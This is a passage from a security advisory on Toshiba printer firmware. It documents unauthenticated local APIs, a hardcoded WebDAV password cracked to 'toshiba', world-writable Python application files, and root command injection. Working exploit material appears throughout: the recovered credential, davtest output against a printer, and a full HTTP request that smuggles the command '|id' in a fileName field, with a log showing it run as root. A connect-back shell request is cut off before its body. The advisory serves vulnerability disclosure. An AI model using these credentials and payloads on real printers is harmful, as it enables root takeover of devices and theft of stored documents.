 <span style="color: #666666">42</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&quot;main:EXIT&quot;</span>)
 <span style="color: #666666">43</span>     <span style="color: #008000; font-weight: bold">return</span> config<span style="color: #666666">.</span>make_wsgi_app()
</pre></div>

<p>246 routes are defined in Python scripts inside the WebPanel, listening on port 50180, without authentication:</p>
<p>API access without authentication:</p>
<pre><code>./wpserver/eventmanagement/__init__.py:    config.add_route('sse_event_start', 'sseEventStart')
./wpserver/eventmanagement/__init__.py:    config.add_route('sse_event_stop', 'sseEventStop')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('user_login_required', 'userLoginRequired', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('authenticate_user', 'authenticateUser', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('async_Authenticate_Check', 'asyncAuthenticateCheck', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('change_user_password', 'changePassword', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('user_log_out', 'userLogOut', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('set_dept_code', 'setDeptCode')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('get_diagnostic_code', 'getDiagnosticCode')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('register_user', 'registerUser')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_pincode', 'loginByPinCode')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_pincode_external', 'loginByPinCodeExternal')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_cardid', 'loginByCardId')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_cardid_external', 'loginByCardIdExternal')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_card_pincode', 'loginByCardIdAndPinCode')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('login_by_card_pin_external', 'loginByCardIdAndPinExternal')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('project_management_setting', 'projectManagementSetting')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('project_management_operations', 'projectOperations')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('card_swipe_event_subscribe', 'CardSwipeEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('card_swipe_event_unsubscribe', 'CardSwipeEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('job_status_blink_event_subscribe', 'JobStatusBlinkEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('job_status_blink_event_unsubscribe', 'JobStatusBlinkEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('set_pin_code', 'setPinCode')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('set_swipe_event', 'setSwipeEvent')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('set_remote_scan', 'setRemoteScan')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('validate_credential', 'validateCredential')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('authenticate_by_smtp_ldap', 'authenticateBySmtporLdap')
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('validate_temp_login_admin', 'validateTempLoginAdmin', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('get_display_settings', 'getDisplaySettings', xhr=True)
./wpserver/screenfacade/authentication/__init__.py:    config.add_route('after_login_success_checks', 'afterLoginSuccessChecks', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('set_inactive_mode', 'setInactiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('set_active_mode', 'setActiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('init_department_code', 'initDepartmentCode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('get_current_language', 'getCurrentLanguage', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('update_paramters_for_coincontroller', 'updateCoinControllerParameters', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('pause_auto_clear_timer', 'pauseAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('resume_auto_clear_timer', 'resumeAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py:    config.add_route('control_power_key', 'controlPowerKey', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('init_jobstatus', 'initJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_log_auth','getLogAuthentication')
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_suspended_job_details', 'getSuspendedJobDetails', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('re_init_jobstatus', 'reInitJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_sync_mode','getSyncMode')
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('init_jobstatus_jobs', 'initJobStatusJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_count_wfid', 'getTotalJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_print_job', 'getPrintJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('update_print_parameter','updateSuspendedJobData')
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('jobs_start_hard_key','jobsStartHardKey')
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_scan_job', 'getScanJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('init_fax_jobs', 'initFaxJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('get_fax_job', 'getFaxJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py:  config.add_route('init_jobstatus_logs', 'initJobStatusLogs', xhr=True)
[...]
</code></pre>
<p>These routes are used for internal communications from localhost without authentication.</p>
<p>Content of <code>/work/log/al/httpd_wsgi_access.log</code>:</p>
<pre><code>127.0.0.1 - - [25/Apr/2023:13:17:38 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/home/getLoginData?_=1682332768396 HTTP/1.1" 200 1289
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768397 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768398 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&amp;_=1682332768399 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&amp;selectedTileSize=large&amp;_=1682332768400 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:19:12 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&amp;_=1682332768401 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:01 +0530] "GET /wpserver/home/getLoginData?_=1682332768402 HTTP/1.1" 200 1444
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768403 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768404 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&amp;_=1682332768405 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&amp;selectedTileSize=large&amp;_=1682332768406 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:03 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&amp;_=1682332768407 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/print/initPrintJob?_=1682332768408 HTTP/1.1" 200 1398
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=Start HTTP/1.1" 200 2
</code></pre>
<p>For example, a local attacker can reach these APIs without authentication:</p>
<pre><code>bash-4.1# curl "http://127.0.0.1:50180/wpserver/devicecontrol/turnOffLED?key=FunctionClear"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100     2  100     2    0     0      2      0  0:00:01 --:--:--  0:00:01   166
OK
</code></pre>
<p>A local attacker can bypass authentication in applications, providing administrative access.</p>
<p><a id="hardcoded-credentials-webdav"></a></p>
<h2>Details - Hardcoded credentials for WebDAV access</h2>
<p>It was observed that all the Toshiba printers contain credentials used for WebDAV access in the world-readable file <code>/home/SYSROM_SRC/data/passwords</code>:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/data/passwords
-rw-rw-rw- 1 root trusted 42 Jan 18  2022 /home/SYSROM_SRC/data/passwords
bash-4.1# cat /home/SYSROM_SRC/data/passwords
EBX:$apr1$wQYd9W5O$wDKvnN4Ij34hwvTiohAka.
</code></pre>
<p>It is possible to crack this hash with John:</p>
<pre>
kali% john passwd.toshiba
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<font color=red>toshiba          (EBX)     </font>
1g 0:00:00:00 DONE 2/3 (2023-03-09 09:22) 11.11g/s 36022p/s 36022c/s 36022C/s keller..karla
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
kali%
</pre>

<p>Then, for firmware versions released by 2020, it is possible to get a full access with WebDAV to the printer.</p>
<p>Such access was successfully done against printers running the firmware versions T373HD0W1054, T410HD0W1073, TB01HD0W1610 and TG01HD0W1610:</p>
<pre><code>kali% davtest -url http://10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
 Testing DAV connection
OPEN            FAIL:   http://10.0.0.1:8080/storage/box/ITUTBoxes  Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
 Testing DAV connection
OPEN            FAIL:   http://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes      Server response: 405 Method Not Allowed
kali% davtest -url http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/    
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes
********************************************************
NOTE    Random string for this session: SIX4x_ZkORvv
********************************************************
 Creating directory
MKCOL           SUCCEED:                Created http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
********************************************************
 Sending test files
PUT     aspx    SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT     asp     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT     jhtml   SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT     txt     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT     cfm     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT     pl      SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT     shtml   SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT     php     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT     jsp     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT     cgi     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT     html    SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
********************************************************
 Checking for test file execution
EXEC    aspx    FAIL
EXEC    asp     FAIL
EXEC    jhtml   FAIL
EXEC    txt     SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
EXEC    txt     FAIL
EXEC    cfm     FAIL
EXEC    pl      FAIL
EXEC    shtml   FAIL
EXEC    php     FAIL
EXEC    jsp     FAIL
EXEC    cgi     FAIL
EXEC    html    SUCCEED:        http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
EXEC    html    FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
Executes: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
Executes: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
kali%
</code></pre>
<p>We can confirm the files are stored inside the printer:     </p>
<pre><code>bash-4.1# ls -la /storage/box/EFilingBoxes/
total 16
drwxrwxrwx 4 root   root    4096 Mar  9 03:22 .
drwxr-xr-x 9 root   root    4096 Mar  9 01:47 ..
drwxrwxrwx 2 root   trusted 4096 Aug 12  2018 00000
drwxrwxrwx 2 apache trusted 4096 Mar  9 03:22 DavTestDir_SIX4x_ZkORvv
-rwxrwxrwx 1 root   trusted    0 Mar  9 01:47 initialized.sts
bash-4.1# ls -la /storage/box/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
total 52
drwxrwxrwx 2 apache trusted 4096 Mar  9 03:22 .
drwxrwxrwx 4 root   root    4096 Mar  9 03:22 ..
-rw-rw-rw- 1 apache trusted   44 Mar  9 03:22 davtest_SIX4x_ZkORvv.asp
-rw-rw-rw- 1 apache trusted   44 Mar  9 03:22 davtest_SIX4x_ZkORvv.aspx
-rw-rw-rw- 1 apache trusted   42 Mar  9 03:22 davtest_SIX4x_ZkORvv.cfm
-rw-rw-rw- 1 apache trusted   66 Mar  9 03:22 davtest_SIX4x_ZkORvv.cgi
-rw-rw-rw- 1 apache trusted   26 Mar  9 03:22 davtest_SIX4x_ZkORvv.html
-rw-rw-rw- 1 apache trusted   37 Mar  9 03:22 davtest_SIX4x_ZkORvv.jhtml
-rw-rw-rw- 1 apache trusted   37 Mar  9 03:22 davtest_SIX4x_ZkORvv.jsp
-rw-rw-rw- 1 apache trusted   24 Mar  9 03:22 davtest_SIX4x_ZkORvv.php
-rw-rw-rw- 1 apache trusted   66 Mar  9 03:22 davtest_SIX4x_ZkORvv.pl
-rw-rw-rw- 1 apache trusted  181 Mar  9 03:22 davtest_SIX4x_ZkORvv.shtml
-rw-rw-rw- 1 apache trusted   19 Mar  9 03:22 davtest_SIX4x_ZkORvv.txt
bash-4.1#
</code></pre>
<p>A remote attacker can store files that will contain XSS in the printer web interface.</p>
<p>This vulnerability has been patched in the latest firmware version since the new version of Apache has some changes in the configuration options (the <code>require valid-user</code> option).</p>
<h2>Target: Toshiba Printers - Embedded applications</h2>
<h2>Summary</h2>
<p>The Toshiba printers support additional programs ("embedded applications") in the latest version of the firmware images.</p>
<p>By default, 2 programs are installed:</p>
<ul>
<li>Remote Command (v1.0.8)</li>
<li>Cloud Authentication for email (v1.0.0).</li>
</ul>
<p>Listing of applications installed by default:</p>
<p><img alt="" src="images/2024-toshiba-application-list.png" /></p>
<p><a href="images/2024-toshiba-application-list-full.png">Click here for full image</a></p>
<p>It is possible to interact with such applications as shown below:</p>
<p><img alt="" src="images/2024-toshiba-application-remote-cmd.png" /></p>
<p><a href="images/2024-toshiba-application-remote-cmd-full.png">Click here for full image</a></p>
<p><a id="insecure-permissions"></a></p>
<h2>Details - Insecure permissions</h2>
<p>It was observed that the programs are located inside the /application directory:</p>
<p>Content of <code>/application</code>:</p>
<pre><code>bash-4.1# cd /application
bash-4.1# ls -la
total 44
drwxr-xr-x  8 root root     4096 Mar 15 11:49 .
drwxr-xr-x 30 root root     4096 Apr 10 18:47 ..
drwxr-xr-x  4 root root     4096 Mar 15 11:50 app
drwxrwxrwx  4 root trusted  4096 Mar 15 11:49 backup
drwx--x---  3 root trusted  4096 Apr  6  2016 common
drwxr-xr-x  5 root root     4096 Apr  6  2016 framework
drwx------  2 root root    16384 Apr  6  2016 lost+found
drwxr-xr-x  7 root root     4096 Apr  6  2016 webframework
bash-4.1#
</code></pre>
<p>When analyzing the directories inside /application, we can find several insecure permissions.</p>
<p>The backup directory is insecure, with incorrect (777) permissions everywhere:</p>
<p>Content of <code>/application/backup</code>:</p>
<pre><code>bash-4.1# pwd
/application/backup 
bash-4.1#  
bash-4.1# ls -la
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxr-xr-x 8 root root    4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
bash-4.1# ls -latrR 
.:
total 16
drwxr-xr-x 8 root root    4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest

./initial:
total 16
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 4 root   trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root   trusted 4096 Mar 15 11:50 .

./initial/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted   4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root   trusted   4096 Mar 15 11:50 ..

./initial/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root   trusted   4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted   4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip

./latest:
total 16
drwxrwxrwx 4 root   trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root   trusted 4096 Mar 15 11:50 .

./latest/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted   4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root   trusted   4096 Mar 15 11:50 ..

./latest/10000000-0000-0000-0000-500000000001:
total 256 
drwxrwxrwx 4 root   trusted   4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted   4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip
</code></pre>
<p>The app directory is also insecure, due to incorrect permissions everywhere:</p>
<p>Content of <code>/application/app</code>:</p>
<pre><code>bash-4.1# pwd
/application/app
bash-4.1# ls -la
total 16
drwxr-xr-x 4 root   root    4096 Mar 15 11:50 .
drwxr-xr-x 8 root   root    4096 Mar 15 11:49 ..
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 10000000-0000-0000-0000-500000000000
drwx--x--- 6 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 . 
drwxr-xr-x 4 root   root    4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#
</code></pre>
<p>Analysis of <code>/application/app/10000000-0000-0000-0000-500000000000</code>, with insecure permissions:</p>
<pre><code>10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views:
total 48
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
-rwxrwxrwx 1 apache trusted   67 Apr 11  2022 __init__.py
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 6334 Apr 11  2022 command.py
-rwxrwxrwx 1 apache trusted 2882 Apr 11  2022 device.py
-rwxrwxrwx 1 apache trusted 1018 Apr 11  2022 history.py
-rwxrwxrwx 1 apache trusted 1144 Apr 11  2022 localization.py
-rwxrwxrwx 1 apache trusted  982 Apr 11  2022 resultstorage.py
-rwxrwxrwx 1 apache trusted 1933 Apr 11  2022 storage.py
-rwxrwxrwx 1 apache trusted 3103 Apr 11  2022 view.py

10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker:
total 16
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 1892 Apr 11  2022 commandthread.py


package/program/settingapp/server/worker:
total 16
-rwxrwxrwx 1 apache trusted 1892 Apr 11  2022 commandthread.py
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .

package/program/settingapp/server/worker/__pycache__:
total 12
-rw-rw-rw- 1 apache trusted 1968 Apr 10 17:42 commandthread.cpython-35.pyc
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 .

package/program/backgroundapp:
total 68
-rwxrwxrwx 1 apache trusted 21409 Apr 11  2022 filefunction.py
-rwxrwxrwx 1 apache trusted  3738 Apr 11  2022 exclusivecontrol.py
-rwxrwxrwx 1 apache trusted 24233 Apr 11  2022 eventhandler.py
-rwxrwxrwx 1 apache trusted  1326 Apr 11  2022 backgroundapp.py
drwx--x--- 5 apache trusted  4096 Mar 15 11:49 ..
drwx--x--- 3 apache trusted  4096 Mar 15 11:50 .
drwxrwxrwx 2 root   trusted  4096 Mar 15 11:50 __pycache__
</code></pre>
<p>By default, the applications are stored inside <code>/application/app</code>.</p>
<p>We can confirm that the Python scripts have insecure permissions, allowing any local user to overwrite them and get a Local Privilege Escalation.</p>
<p>A remote attacker using the insecure upload functionality will be able to overwrite any Python file and get Remote Code Execution.</p>
<p>A local attacker can overwrite any file.</p>
<p><a id="rce-command-injection"></a></p>
<h2>Details - Remote Code Execution - command injection as root</h2>
<p>It was observed that the Remote Command program allows an attacker to get Remote Code Execution as root.</p>
<p>When uploading a file with the fileName <code>|id</code>, the command <code>id</code> will be executed as root on the printer. There is a command injection inside the <code>fileName</code> variable:</p>
<p><img alt="" src="images/2024-toshiba-application-remote-cmd-rce-01.png" /></p>
<p><a href="images/2024-toshiba-application-remote-cmd-rce-01-full.png">Click here for full image</a></p>
<p>The HTTP request is:</p>
<pre><code>POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"test","fileName":"|id"}
</code></pre>
<p>And the command <code>id</code> will be executed as root on the printer:</p>
<pre>
2023/04/10 18:16:07 CMD: UID=0     PID=10794  | sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test|id
<font color=red>2023/04/10 18:16:07 CMD: UID=0     PID=10796  | id</font>
2023/04/10 18:16:07 CMD: UID=0     PID=10795  | chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test
</pre>

<p>A PoC is provided, allowing getting a connect-back shell as root:</p>
<p><img alt="" src="images/2024-toshiba-application-remote-cmd-rce-02.png" /></p>
<p><a href="images/2024-toshiba-application-remote-cmd-rce-02-full.png">Click here for full image</a></p>
<p>The HTTP request is:</p>
<pre><code>POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 345
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
